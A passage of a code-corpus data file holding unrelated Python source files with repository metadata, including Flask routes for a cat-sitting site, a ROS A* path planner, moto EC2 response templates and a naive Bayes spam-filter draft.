Keeper',\n\t\t'CatSitter': 'Cat Sitter'\n\t}\n\n\tcurrent_profile = current_user.profile\n\t# show if profile has been created,\n\t# otherwise send to create_profile\n\tif not current_profile:\n\t\t\treturn redirect(url_for('create_profile'))\n\t\n\tprofile_image=current_profile.profile_image\n\tusername = current_user.username\n\tprofile_type = current_profile.profile_type.name\n\n\tcurrent_type = None\n\tother_type = None\n\tfor p in profile_types:\n\t\tif p == profile_type:\n\t\t\tcurrent_type = profile_types[p]\n\t\telse:\n\t\t\tother_type = profile_types[p]\n\t\n\trequests = current_profile.requests\n\toffers = current_profile.offers\n\n\treturn render_template(\"dashboard.html\", title=\"Dashboard\", h2=f\"{username}'s Dashboard\", profile=current_type, other_profile=other_type, username=username, profile_image=profile_image, requests=requests, offers=offers)\n\n\n@app.route(\"/profile/create\", methods=['GET', 'POST'])\n@login_required\ndef create_profile():\n\t# ! show only if there is no profile!\n\t# ! otherwise: show create profile page (new route/same template with conditional rendering)\n\tpicture_file = url_for('static', filename='profile_pics/default.jpg')\n\tform = UpdateProfileForm()\n\tif form.validate_on_submit():\n\t\tlat = form.lat.data\n\t\tlng = form.lng.data\n\t\tlocation = Profile.point_rep(lng, lat)\n\t\t#? transform the lat and lng into a point (DO I NEED IT?)\n\t\tprofile = Profile(name=form.name.data, about=form.about.data, address=form.acAddress.data, profile_location=location, phone_number=form.phone.data, facebook_username=form.facebook.data, telegram_username=form.telegram.data, user_id=current_user.id, profile_type=form.preferred_profile_type.data)\n\t\tdb.session.add(profile)\n\t\tdb.session.commit()\n\n\t\tif form.picture.data:\n\t\t\tpicture_file = save_image(form.picture.data, 'profile_pics/')\n\t\t\tcurrent_user.profile.profile_image = picture_file\n\t\t\tdb.session.commit()\n\t\t\n\t\tflash('Your profile has been created', 'success')\n\t\treturn redirect(url_for('dashboard'))\n\n\telif request.method == 'GET':\n\t\tform.username.data = current_user.username\n\t\tform.email.data = current_user.email\n\t\t\n\t\tif current_user.profile:\n\t\t\tpicture_file = url_for('static', filename='profile_pics/' + current_user.profile.profile_image)\n\t\telse:\n\t\t\tpicture_file = url_for('static', filename='profile_pics/default.jpg')\n\t\n\tscript = 'mapsInput.js'\n\n\tmap_key = app.config['GOOGLE_MAPS_API_KEY']\n\tmap_string = \"https://maps.googleapis.com/maps/api/js?key=\" + map_key + \"&callback=initAutocomplete&libraries=places&v=weekly\"\n\n\treturn render_template(\"update_profile.html\", title=\"Create profile\", h2=\"Create profile\", username=current_user.username, email=current_user.email, profile_image=picture_file, form=form, map_string=map_string, script=script)\n\n\n@app.route('/logout')\ndef logout():\n\tlogout_user()\n\treturn redirect(url_for('login'))\n\n\n\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n# !!! LEAVE FOR NOW!!! *** ↓↓↓\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n# !!! LEAVE FOR NOW!!! *** ↓↓↓\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n\n# @app.route(\"/profile\")\n# @login_required\n# def own_profile():\n# \t# ! show if there is profile,\n# \t# ! otherwise: render create_profile page\n# \t# first name + last name\n# \t# username\n# \tusername = current_user.username\n# \t# email\n# \t# address\n# \t# phone number\n# \t# facebook username\n# \t# telegram username\n# \t# about\n\n# \treturn render_template(\"profile.html\", title=\"Your profile\", h2=f\"{username}'s Profile\")\n\n\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n# !!! LEAVE FOR NOW!!! *** ↓↓↓\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n# !!! LEAVE FOR NOW!!! *** ↓↓↓\n# *** LEAVE FOR NOW!!! *** ↓↓↓\n\n# @app.route(\"/profile/update\", methods=['GET', 'POST'])\n# @login_required\n# def update_profile():\n# \t# ! show only if there is a profile to update!\n# \t# ! otherwise: show create profile page (new route/same template with conditional rendering)\n# \tform = UpdateProfileForm()\n# \tif form.validate_on_submit():\n\t\t\n# \t\tprofile = Profile(name=form.name.data, about=form.about.data, address=form.addresscA.data, phone_number=form.phone.data, facebook_username=form.facebook.data, telegram_username=form.telegram.data, user_id=current_user.id)\n# \t\tdb.session.add(profile)\n# \t\tdb.session.commit()\n\n# \t\tif form.picture.data:\n# \t\t\tpicture_file = save_image(form.picture.data, 'profile_pics/')\n# \t\t\tcurrent_user.user_profile.profile_image = picture_file\n\t\t\n# \t\tcurrent_user.username = form.username.data\n# \t\tcurrent_user.email = form.email.data\n\t\t\n# \t\t# ! location / Geometry\n# \t\t# location = db.Column(Geometry(\"POINT\", srid=SpatialConstants.SRID, dimension=2, management=True))\n\t\t\n# \t\tflash('Your profile info has been updated', 'success')\n# \t\treturn redirect(url_for('own_profile'))\n\n# \telif request.method == 'GET':\n# \t\tform.username.data = current_user.username\n# \t\tform.email.data = current_user.email\n\t\t\n# \t\tprofile = Profile.query.filter_by(user_id=current_user.id).first()\n\t\t\n# \t\tif profile:\n# \t\t\tif profile.name:\n# \t\t\t\tform.name.data = profile.name\n# \t\t\tif profile.about:\n# \t\t\t\tform.about.data = profile.about\n# \t\t\tif profile.address:\n# \t\t\t\tform.addresscA.data = profile.address\n# \t\t\tif profile.phone_number:\n# \t\t\t\tform.phone.data = profile.phone_number\n# \t\t\tif profile.facebook_username:\n# \t\t\t\tform.facebook.data = profile.facebook_username\n# \t\t\tif profile.telegram_username:\n# \t\t\t\tform.telegram.data = profile.telegram_username\n\t\t\t\n# \t\telse:\n# \t\t\tform.name.data = current_user.username\n# \t\t\tform.addresscA.data = \"Berlin, Germany\"\n\t\t\t\n# \t\t\tcurrent_user.profile.name = current_user.username\n# \t\t\tcurrent_user.profile.address = \"Berlin, Germany\"\n\n# \tprofile = Profile.query.filter_by(user_id=current_user.id).first()\t\n# \tif profile:\n# \t\tprofile_image = url_for('static', filename='profile_pics/' + profile.profile_image)\n# \telse:\n# \t\tprofile_image = url_for('static', filename='profile_pics/' + 'default.jpg')\n\n# \tdb.session.commit()\n\t\n# \treturn render_template(\"update_profile.html\", title=\"Update profile\", h2=\"Update profile\", username=current_user.username, email=current_user.email, profile_image=profile_image, form=form)\n\n\n@app.route(\"/user/\")\ndef user_profile(username):\n\t# if current_user.username == username:\n\t# \treturn redirect(url_for('own_profile'))\n\treturn render_template(\"profile.html\", title=f\"{username}'s profile\", h2=f\"{username}'s profile\")\n\n\n\n# * ADD UPDATES (REQUESTS OR OFFERS)\n@app.route('/request/new', methods=['GET', 'POST'])\n@login_required\ndef new_request():\n\tform = PostForm()\n\tif form.validate_on_submit():\n\t\t# ? take the cat home or visit only?\n\t\trequest = Request(title=form.title.data, description=form.content.data, cat_keeper_id=current_user.profile.id, start_date=form.start_date.data, end_date=form.end_date.data, cat_sitting_mode=form.cat_sitting_mode.data)\n\t\tdb.session.add(request)\n\t\tdb.session.commit()\n\n\t\tif form.picture_1.data:\n\t\t\tpicture_file = save_image(form.picture_1.data, 'update_imgs/')\n\t\t\trequest.photo_1 = picture_file\n\t\t\tdb.session.commit()\n\t\tif form.picture_2.data:\n\t\t\tpicture_file = save_image(form.picture_2.data, 'update_imgs/')\n\t\t\trequest.photo_2 = picture_file\n\t\t\tdb.session.commit()\n\t\tif form.picture_3.data:\n\t\t\tpicture_file = save_image(form.picture_3.data, 'update_imgs/')\n\t\t\trequest.photo_3 = picture_file\n\t\t\tdb.session.commit()\n\n\t\tflash('Your request has been created!', 'success')\n\t\treturn redirect(url_for('dashboard'))\n\treturn render_template('new_update.html', title='New Request', form=form, legend='New request')\n\n\n####*#########*####\n### *** API *** ###\n####*#########*####\n@app.route(\"/api//updates/\", methods=['GET'])\ndef get_requests_and_offers(username, update_type):\n\t# update_type refers to either requests or offers\n\tupdates = None\n\tif update_type == 'requests':\n\t\tupdates = Request.query.all()\n\n\tif update_type == 'offers':\n\t\tupdates = Offer.query.all()\n\t\n\treturned_response = {\n\t\t\"data\": []\n\t}\n\n\t# returned = { data: [{}, {}, {}, {}], location: {} }\n\n\tfor update in updates:\n\n\t\tdata = {\n\t\t\t\"title\": update.title,\n\t\t\t\"description\": update.description,\n\t\t\t\"start_date\": update.start_date,\n\t\t\t\"end_date\": update.end_date,\n\t\t\t\"published_on\": update.published_on,\n\t\t\t\"cat_sitting_mode\": update.cat_sitting_mode.name\n\t\t}\n\t\tif update_type == 'requests':\n\t\t\tdata['location'] = update.cat_keeper.get_location()\n\t\tif update_type == 'offers':\n\t\t\tdata['location'] = update.cat_sitter.get_location()\n\n\t\tif update.photo_1:\n\t\t\tdata['photo_1'] = url_for('static', filename='update_imgs/' + update.photo_1)\n\t\tif update.photo_2:\n\t\t\tdata['photo_2'] = url_for('static', filename='update_imgs/' + update.photo_2)\n\t\tif update.photo_3:\n\t\t\tdata['photo_3'] = url_for('static', filename='update_imgs/' + update.photo_3)\n\n\t\treturned_response[\"data\"].append(data)\n\n\tcurr_user = User.query.filter_by(username=username).first()\n\tuser_location = curr_user.profile.get_location()\n\n\treturned_response[\"location\"] = user_location\n\n\treturn jsonify(returned_response)\n\n\n\n# potentially: all updates as a list and map\n@app.route(\"/view\")\n@login_required\ndef view():\n\tusername = current_user.username\n\n\tprofile_types = {\n\t\t'CatKeeper': 'Cat Keeper',\n\t\t'CatSitter': 'Cat Sitter'\n\t}\n\tcurrent_profile_type = current_user.profile.profile_type.name\n\n\tprofile_type = None\n\tother_type = None\n\tfor p in profile_types:\n\t\tif p == current_profile_type:\n\t\t\tprofile_type = profile_types[p]\n\t\telse:\n\t\t\tother_type = profile_types[p]\n\t\n\trequests = current_user.profile.requests\n\toffers = current_user.profile.offers\n\n\tdefault_update_type = None\n\tif profile_type == \"Cat Keeper\":\n\t\tdefault_updates_type = \"offers\"\n\telif profile_type == \"Cat Sitter\":\n\t\tdefault_updates_type = \"requests\"\n\n\t# requests = Request.query.filter_by(cat_keeper=current_profile).order_by(Request.date_posted.desc())\n\t# offers = Offer.query.filter_by(cat_sitter=current_profile).order_by(Offer.date_posted.desc())\n\n\tscript = 'maps.js'\n\tmap_key = app.config['GOOGLE_MAPS_API_KEY']\n\tmap_string = \"https://maps.googleapis.com/maps/api/js?key=\" + map_key + \"&callback=initMap&libraries=places&v=weekly\"\n\n\treturn render_template(\"view.html\", title=\"View\", h2=f\"View {other_type}s nearby\", script=script, map_string=map_string, requests=requests, offers=offers, updates=default_updates_type, username=username)\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n\treturn render_template(\"notfound.html\", title=\"Not found\", h2=\"No such page\"), 404\n","repo_name":"olhanotolga/rent-a-cat","sub_path":"rentacat/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":12866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10853551226","text":"#!/usr/bin/env python\n\ntape_data = {\"children\": 3,\n \"cats\": 7,\n \"samoyeds\": 2,\n \"pomeranians\": 3,\n \"akitas\": 0,\n \"vizslas\": 0,\n \"goldfish\": 5,\n \"trees\": 3,\n \"cars\": 2,\n \"perfumes\": 1}\n\nsues = {}\n\n\ndef main():\n for line in open(\"day_16_input\").readlines():\n _, name, p1, v1, p2, v2, p3, v3 = line.strip().split()\n sues[int(name[:-1])] = {p1[:-1]: int(v1[:-1]), p2[:-1]: int(v2[:-1]), p3[:-1]: int(v3)}\n\n for sue_num in sues:\n if all([attr_name in tape_data and tape_data[attr_name] == sues[sue_num][attr_name] for attr_name in sues[sue_num]]):\n print(\"task1 sue num:\", sue_num)\n break\n\n for sue_num in sues:\n restart = False\n for attr_name in sues[sue_num]:\n if attr_name not in tape_data:\n continue\n if attr_name in (\"cats\", \"trees\"):\n if sues[sue_num][attr_name] <= tape_data[attr_name]:\n restart = True\n break\n elif attr_name in (\"pomeranians\", \"goldfish\"):\n if sues[sue_num][attr_name] >= tape_data[attr_name]:\n restart = True\n break\n else:\n if tape_data[attr_name] != sues[sue_num][attr_name]:\n restart = True\n break\n if restart:\n continue\n print(\"task2 sue num:\", sue_num)\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"miroc/adventofcode","sub_path":"day_16.py","file_name":"day_16.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25419850179","text":"#!/usr/bin/python\nimport sys\nimport argparse\n\ndef main():\n # sys.stderr.write(\"arguments:%s\\n\" % \"\".join(sys.argv))\n parser = argparse.ArgumentParser(description = \"Divide into blocks of genes per file\")\n parser.add_argument(\"f_expr\")\n parser.add_argument(\"fixed_num\")\n parser.add_argument(\"f_output\", nargs = '+')\n\n options = parser.parse_args()\n \n fnames = options.f_output\n f = open(options.f_expr, 'r')\n #header\n header = f.readline()\n split_index = open(options.fixed_num).readlines()\n \n s = {}\n start = \"\"\n for i in range(0, len(fnames)):\n term = \"_\".join(fnames[i].split('/')[-1].split(\"_\")[0:2])\n s[term] = open(fnames[i], 'w')\n\n for line in split_index:\n col = line.split()\n chrom_name = col[0]\n index_num = col[1]\n s[chrom_name] = index_num\n \n \n d = {}\n initial = \"\"\n for line in f.readlines():\n col = line.split()\n chrom = col[1]\n if chrom == initial:\n d[chrom].append(line)\n elif chrom in [\"chrX\", \"chrY\", \"chrMT\"]:\n continue\n else:\n d[chrom] = []\n d[chrom].append(line)\n initial = chrom\n\n for key in sorted(d.keys()):\n mat = d[key]\n num_files = int(s[key])\n num = len(mat)/float(num_files)\n #deal with integer operation problem\n if num > int(num):\n num = int(num) + 1\n else:\n num = int(num)\n z = 0\n #sys.stderr.write(\"fixed_nums:%d\" % num)\n last_num = range(0, len(mat), num)[-1]\n for i in range(0, len(mat), num):\n name = key + \"_subset\" + str(100*z)\n s[name].write(\"%s\" % header)\n if i < last_num:\n for j in range(i, (i+num)):\n s[name].write(\"%s\" % mat[j])\n else:\n for j in range(i, len(mat)):\n s[name].write(\"%s\" % mat[j]) \n s[name].close()\n z += 1\n f.close()\n\nmain()\n\n \n \n","repo_name":"j3gu/Dominant-eQTLs","sub_path":"split_into_files.py","file_name":"split_into_files.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38990262730","text":"import os\nimport pathlib\n\n\nclass RunPaths():\n\n \"\"\"\n Collection of input and output paths used in the run of a generic experiment \n (training, inference, analysis) for data and/or models.\n \"\"\"\n\n def __init__(self, in_data_dir:str=None, in_data_names:dict=None, in_model_dir:str=None, in_model_names:dict=None, \n out_data_dir:str=None, out_data_names:dict=None, out_model_dir:str=None, out_model_names:dict=None):\n\n self.path_dict = {\n\n 'in' : {\n 'data': {\n 'dir' : in_data_dir, # directory path\n 'names' : in_data_names, # dict with filenames\n },\n 'model': {\n 'dir' : in_model_dir, # directory path\n 'names' : in_model_names, # dict with modelnames\n },\n },\n\n 'out': {\n 'data': {\n 'dir' : out_data_dir,\n 'names' : out_data_names,\n },\n 'model': {\n 'dir' : out_model_dir,\n 'names' : out_model_names,\n },\n },\n }\n\n for inout in self.path_dict.values():\n for datmod in inout.values():\n if datmod['dir'] is not None:\n pathlib.Path(datmod['dir']).mkdir(parents=True, exist_ok=True)\n\n\n @property\n def in_data_dir(self):\n return self.path_dict['in']['data']['dir']\n\n\n @property\n def out_data_dir(self):\n return self.path_dict['out']['data']['dir']\n\n\n def extend_path(self, path:str, param_dict:dict) -> str:\n\n for k, v in param_dict.items():\n path = os.path.join(path, k+'_'+v if v is not None else k)\n\n pathlib.Path(path).mkdir(parents=True, exist_ok=True)\n\n return path\n\n\n def extend_path_data(self, param_dict:dict) -> None:\n\n self.path_dict['in']['data']['dir'] = self.extend_path(self.path_dict['in']['data']['dir'], param_dict)\n self.path_dict['out']['data']['dir'] = self.extend_path(self.path_dict['out']['data']['dir'], param_dict)\n\n\n def extend_in_path_data(self, param_dict:dict) -> None:\n\n self.path_dict['in']['data']['dir'] = self.extend_path(self.path_dict['in']['data']['dir'], param_dict)\n\n\n def extend_in_path_model(self, param_dict:dict) -> None:\n\n self.path_dict['in']['model']['dir'] = self.extend_path(self.path_dict['in']['model']['dir'], param_dict)\n\n\n def extend_out_path_data(self, param_dict:dict) -> None:\n\n self.path_dict['out']['data']['dir'] = self.extend_path(self.path_dict['out']['data']['dir'], param_dict)\n\n\n def extend_out_path_model(self, param_dict:dict) -> None:\n\n self.path_dict['out']['model']['dir'] = self.extend_path(self.path_dict['out']['model']['dir'], param_dict)\n\n\n def in_file_path(self, id:str) -> str:\n \n return os.path.join(self.path_dict['in']['data']['dir'], self.path_dict['in']['data']['names'][id])\n\n def out_file_path(self, id:str) -> str:\n \n return os.path.join(self.path_dict['out']['data']['dir'], self.path_dict['out']['data']['names'][id])\n\n\n","repo_name":"kingusiu/dadrah","sub_path":"util/run_paths.py","file_name":"run_paths.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42032867931","text":"\"\"\"\n实现垃圾邮件的过滤\n\"\"\"\nfrom bayes import *\nimport random\n\n\ndef bagOfWords2VecMN(vocabList, inputSet):\n \"\"\"\n 朴素贝叶斯词袋模型\n :param vocabList:\n :param inputSet:\n :return:\n \"\"\"\n returnVec = [0] * len(vocabList)\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] += 1\n return returnVec\n\n\ndef loadData():\n return 'This book is the best book on python or M.L. I have ever laid eyes upon'\n\n\nimport re\n\n\ndef splitDataSet():\n \"\"\"\n 字符串分割\n :return:\n \"\"\"\n dataStr = loadData()\n dataStr.split()\n # 使用正则公式切分\n regRex = re.compile('\\\\W*')\n listofword = regRex.split(dataStr)\n listofword = [word.lower() for word in listofword if len(word) > 0]\n return listofword\n\n\ndef apamTest():\n docList = []\n classList = []\n fullText = []\n # 加载文件的个数\n for i in range(5):\n wordList = splitDataSet()\n docList.append(wordList)\n classList.append(1)\n fullText.extend(wordList)\n wordList = splitDataSet()\n\n\nimport feedparser\nimport operator\n\n\ndef calcMostFreq(vocabList, fullText):\n \"\"\"\n 获取出现在词集里面的,文章中的高频词\n :param vocabList:\n :param fullText:\n :return:\n \"\"\"\n freqDict = {}\n for token in vocabList:\n if token in freqDict.keys():\n freqDict[token] = fullText.count(token)\n sortedWordList = sorted(freqDict.items(), key=operator.itemgetter(1), reverse=True)\n return sortedWordList[:30]\n\n\ndef localWords(feed1, feed0):\n \"\"\"\n 使用朴素贝叶斯进行分类\n :param feed1: 类别一\n :param feed0: 类别二\n :return:\n \"\"\"\n docList = []\n classList = []\n fullText = []\n minLen = min(len(feed0), len(feed1))\n for i in range(minLen):\n \"\"\"\n 加载测试数据\n \"\"\"\n vocabList = createVocabList(docList)\n # 返回的是字典\n top30Words = calcMostFreq(vocabList, fullText)\n for pariw in top30Words:\n if pariw in vocabList:\n vocabList.remove(pariw[0])\n trainingSet = range(2 * minLen)\n testSet = []\n # 随机产生\n for i in range(20):\n randIndex = int(random.uniform(0, len(trainingSet)))\n testSet.append(trainingSet[randIndex])\n del (trainingSet[randIndex])\n trainMat = []\n trainLabel = []\n for docIndex in trainingSet:\n # 放入的是向量\n trainMat.append(bagOfWords2VecMN(vocabList, docList[docIndex]))\n trainLabel.append(classList[docIndex])\n p0V, p1V, pAb = trainNB0(np.array(trainMat), np.array(trainLabel))\n errorCount = 0\n for docIndex in testSet:\n wordVec = bagOfWords2VecMN(vocabList, docList[docIndex])\n if classifyNB(wordVec, p0V, p1V, pAb) != 1:\n errorCount += 1\n print(\"错误率\", errorCount / len(testSet))\n return vocabList, p0V, p1V\n\n\ndef getTopWords(ny, sf):\n \"\"\"\n 最具表征性的词汇显示函数\n :param ny:\n :param sf:\n :return:\n \"\"\"\n vocabList, p0V, p1V = localWords(ny, sf)\n topNy = []\n topSf = []\n for i in range(len(p0V)):\n if p0V[i] > -0.6: topSf.append((vocabList[i], p0V[i]))\n if p1V[i] > -0.6: topNy.append((vocabList[i], p1V[i]))\n # 排序\n sortedF = sorted(topNy, key=lambda pair: pair[1], reverse=True)\n","repo_name":"Sparkoor/learning","sub_path":"machineLearning/cha4/bayesTest2.py","file_name":"bayesTest2.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38008649308","text":"import ast\nimport datetime\nimport requests\nfrom sqlalchemy.dialects import sqlite\n\nfrom agrologistics_web.static.constants import SERVER_API_URL\nfrom agrologistics_web.models import User, Role\n\n\ndef insert_user_data(db):\n \"\"\"\n Insert data in the database\n\n :param db: database instance\n :type db: object\n \"\"\"\n logistic_centers = requests.get(SERVER_API_URL + '/logistic_center').json()['message']\n\n try:\n # ------- Users ------- #\n\n logistic_center_rol = Role(name='logistics_center')\n\n for logistic_center in logistic_centers:\n user = User(\n id=logistic_center['id'],\n email=logistic_center['email'],\n password=bytes(logistic_center['password']['data']),\n name=logistic_center['name'],\n capacity_kg=logistic_center['capacity_kg'],\n cooled_capacity_kg=logistic_center['cooled_capacity_kg'],\n email_confirmed_at=datetime.datetime.utcnow(),\n colors=\"num_events#0:rgb(255, 255, 255);1:rgb(246, 21, 21);5:rgb(248, 147, 110);10:rgb(134, 134, 134)\" # Default color\n )\n\n user.roles.append(logistic_center_rol)\n\n db.session.add(user)\n\n db.session.commit()\n\n except Exception as e:\n print(e)\n","repo_name":"JoserraLP/AgroLogistics","sub_path":"webserver/agrologistics_web/utils/insert_data_to_db.py","file_name":"insert_data_to_db.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32303342371","text":"from ._base_response import EC2BaseResponse\nfrom moto.ec2.utils import add_tag_specification\n\n\nclass EgressOnlyInternetGateway(EC2BaseResponse):\n def create_egress_only_internet_gateway(self) -> str:\n vpc_id = self._get_param(\"VpcId\")\n tag_param = self._get_multi_param(\"TagSpecification\")\n tags = add_tag_specification(tag_param)\n\n egress_only_igw = self.ec2_backend.create_egress_only_internet_gateway(\n vpc_id=vpc_id, tags=tags\n )\n template = self.response_template(CREATE_EGRESS_ONLY_IGW_RESPONSE)\n return template.render(egress_only_igw=egress_only_igw)\n\n def describe_egress_only_internet_gateways(self) -> str:\n egress_only_igw_ids = self._get_multi_param(\"EgressOnlyInternetGatewayId\")\n egress_only_igws = self.ec2_backend.describe_egress_only_internet_gateways(\n egress_only_igw_ids\n )\n template = self.response_template(DESCRIBE_EGRESS_ONLY_IGW_RESPONSE)\n return template.render(egress_only_igws=egress_only_igws)\n\n def delete_egress_only_internet_gateway(self) -> str:\n egress_only_igw_id = self._get_param(\"EgressOnlyInternetGatewayId\")\n self.ec2_backend.delete_egress_only_internet_gateway(\n gateway_id=egress_only_igw_id\n )\n template = self.response_template(DELETE_EGRESS_ONLY_IGW_RESPONSE)\n return template.render()\n\n\nCREATE_EGRESS_ONLY_IGW_RESPONSE = \"\"\"\n c617595f-6c29-4a00-a941-example\n \n \n \n {{ egress_only_igw.state }}\n {{ egress_only_igw.vpc_id }}\n \n \n {{ egress_only_igw.id }}\n \n {% for tag in egress_only_igw.get_tags() %}\n \n {{ tag.key }}\n {{ tag.value }}\n \n {% endfor %}\n \n \n\n\"\"\"\n\nDESCRIBE_EGRESS_ONLY_IGW_RESPONSE = \"\"\"\n ec441b4c-357f-4483-b4a7-example\n \n {% for egress_only_igw in egress_only_igws %}\n \n \n \n {{ egress_only_igw.state }}\n {{ egress_only_igw.vpc_id }}\n \n \n {{ egress_only_igw.id }}\n \n {% for tag in egress_only_igw.get_tags() %}\n \n {{ tag.key }}\n {{ tag.value }}\n \n {% endfor %}\n \n \n {% endfor %}\n \n\"\"\"\n\nDELETE_EGRESS_ONLY_IGW_RESPONSE = \"\"\"\n 59dbff89-35bd-4eac-99ed-be587EXAMPLE\n true\n\"\"\"\n","repo_name":"getmoto/moto","sub_path":"moto/ec2/responses/egress_only_internet_gateways.py","file_name":"egress_only_internet_gateways.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"75036367185","text":"#importing the Common Function Which are in Common_code\nfrom Common_Code import *\n#Registration and Login related function Import\nfrom Registration import Registration\nfrom Login import Login\nfrom Server import Building_Server\n\n#Main Class, Application Exicution Start from Here\nclass Main:\n def Main():\n main=tk.Tk()\n #Windows Screen Configuration\n main.configure(background='#FFFACD')\n main.title(\"Welcome\")\n #setting tkinter window size as maximized\n main.state(\"zoomed\")\n main.iconbitmap('./Assests/Icons_Images/icon1.ico')\n\n #Creating Table for Authentication Purpose\n Building_Server.Build_Table()#For New User it will Create DataBase and New Authentication Table\n\n #Fonts\n c_font = TkFont.Font(family='Times New Roman', size = 15,weight='bold')\n \n #Title Desiging\n row=tk.Frame(main,background='#FFFACD')\n row.pack(anchor='center')\n img = ImageTk.PhotoImage(Image.open(\"./Assests/Icons_Images/Logo.jpg\"))\n Logo = Label(row, image = img)\n Logo.pack(side='left',padx='10px')\n Title=Label(row,text='WELCOME\\nTO\\nPERSONAL ACCOUNTING',fg='red',background='#FFFACD')\n Title['font']=TkFont.Font(family='Times New Roman', weight = 'bold', size = 25)\n Title.pack(side='right')\n\n #Button Layout\n #Login\n row_1=tk.Frame(main,background='#FFFACD')\n row_1.pack(pady=10,padx=20)\n reg=Button(row_1,text=\"LOGIN\",width=10,font=c_font,foreground=\"navy\",command= (lambda : Login.User_Login(main) ))#Calls the Login Screen\n reg.pack(anchor='center',pady=10)\n \n #Register\n reg=Button(row_1,text=\"REGISTER\",width=10,font=c_font,foreground=\"navy\",command= (lambda : Registration.Register_Screen(main)))#Calls the Registration Screen\n reg.pack(anchor='center',pady=10)\n\n #Exit Layout\n b2=Button(row_1,text=\"EXIT\",width=10,font=c_font,foreground=\"navy\",command= lambda : Exit.Exit(main))#Exit the Screen.\n b2.pack(anchor='center',pady=10)\n\n \n #For Opening the window.\n main.mainloop()\n\n#Execution Starts From Here...\nMain.Main()","repo_name":"mallemsanthosh/PersonalAccounting","sub_path":"Version_2_Updated/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5076587925","text":"#!/usr/bin/env python\nimport math\nimport rospy\nfrom nav_msgs.srv import GetPlan, GetMap\nfrom nav_msgs.msg import GridCells, OccupancyGrid, Path\nfrom geometry_msgs.msg import Point, Pose, PoseStamped\nfrom std_msgs.msg import Bool\nfrom map import Map\nfrom priority_queue import PriorityQueue\n\nclass PathPlanner:\n\n def __init__(self):\n \"\"\"\n Class constructor\n \"\"\"\n ### REQUIRED CREDIT\n ## Initialize the node and call it \"path_planner\"\n rospy.init_node('path_planner')\n ## Create a new service called \"plan_path\" that accepts messages of\n ## type GetPlan and calls self.plan_path() when a message is received\n self.path_serv=rospy.Service('plan_path',GetPlan,self.plan_path)\n ## Create a publisher for the C-space (the enlarged occupancy grid)\n ## The topic is \"/path_planner/cspace\", the message type is GridCells\n self.cspace = rospy.Publisher('/path_planner/cspace', GridCells)\n ## Create publishers for A* (expanded cells, frontier, ...)\n ## Choose a the topic names, the message type is GridCells\n self.explored_cells = rospy.Publisher('/path_planner/explored_cells',GridCells)\n ## Sleep to allow roscore to do some housekeeping\n rospy.Subscriber('/explorer/state',Bool,self.explorer_handle)\n self.exploring=True\n rospy.sleep(1.0)\n rospy.loginfo(\"Path planner node ready\")\n\n @staticmethod\n def request_map():\n \"\"\"\n Requests the map from the map server.\n :return [OccupancyGrid] The grid if the service call was successful,\n None in case of error.\n \"\"\"\n rospy.loginfo('Getting Map')\n rospy.wait_for_service('dynamic_map')\n service=rospy.ServiceProxy('dynamic_map',GetMap)\n return service().map\n\n def explorer_handle(self,msg):\n self.exploring=msg.data\n\n def calc_cspace(self, map, padding):\n \"\"\"\n Calculates the C-Space, i.e., makes the obstacles in the map thicker.\n Publishes the list of cells that were added to the original map.\n :param map [Map] The map object.\n :param padding [int] The number of cells around the obstacles.\n :return [[int8]] The C-Space as a list of values from 0 to 100.\n \"\"\"\n rospy.loginfo(\"Calculating C-Space\")\n new_map=map.c_space(padding)\n self.cspace.publish(new_map.to_grid_cells())\n rospy.loginfo(\"Calculated C-Space\")\n return new_map\n\n def a_star(self, map, start, goal):\n rospy.loginfo(\"Executing A* from (%d,%d) to (%d,%d)\" % (start[0], start[1], goal[0], goal[1]))\n queue=PriorityQueue(start)\n visited=set()\n came_from={}\n while queue:\n #self.yeet(map, visited, queue.get_elements())\n element, previous_element=queue.pop()\n visited.add(element)\n came_from[element]=previous_element\n if element == goal:\n path=[element]\n while came_from[element]:\n element=came_from[element]\n path.append(element)\n return path[::-1]\n [queue.put((map.euclidean_distance(start,e)+ map.euclidean_distance(e,goal) + 100*map.euclidean_distance(e,element),e,element)) for e in map.get_neighbors(element,threshold2=0) if e not in visited and e not in queue.get_elements()]\n\n def yeet(self, map ,visited, queue):\n \"\"\"\n yeets visited and queue on the appropriate topics\n i'm tired and have to be up at 8am :(\n \"\"\"\n self.explored_cells.publish(map.point_to_grid_cells(visited))\n\n @staticmethod\n def optimize_path(path):\n \"\"\"\n Optimizes the path, removing unnecessary intermediate nodes.\n :param path [[(x,y)]] The path as a list of tuples (grid coordinates)\n :return [[(x,y)]] The optimized path as a list of tuples (grid coordinates)\n \"\"\"\n rospy.loginfo(\"Optimizing path\")\n i=0\n print(path)\n while len(path) >= 3 and i last_item:\n color = \"#32ab60\"\n if item < last_item:\n color = \"#db4052\"\n if item == last_item:\n color = \"#00bfff\"\n \n plt.gca().add_patch(Rectangle((col+0.1,last_item),0.9,item - last_item,linewidth=2,edgecolor=color,facecolor=color))\n \n col += 1\n last_item = 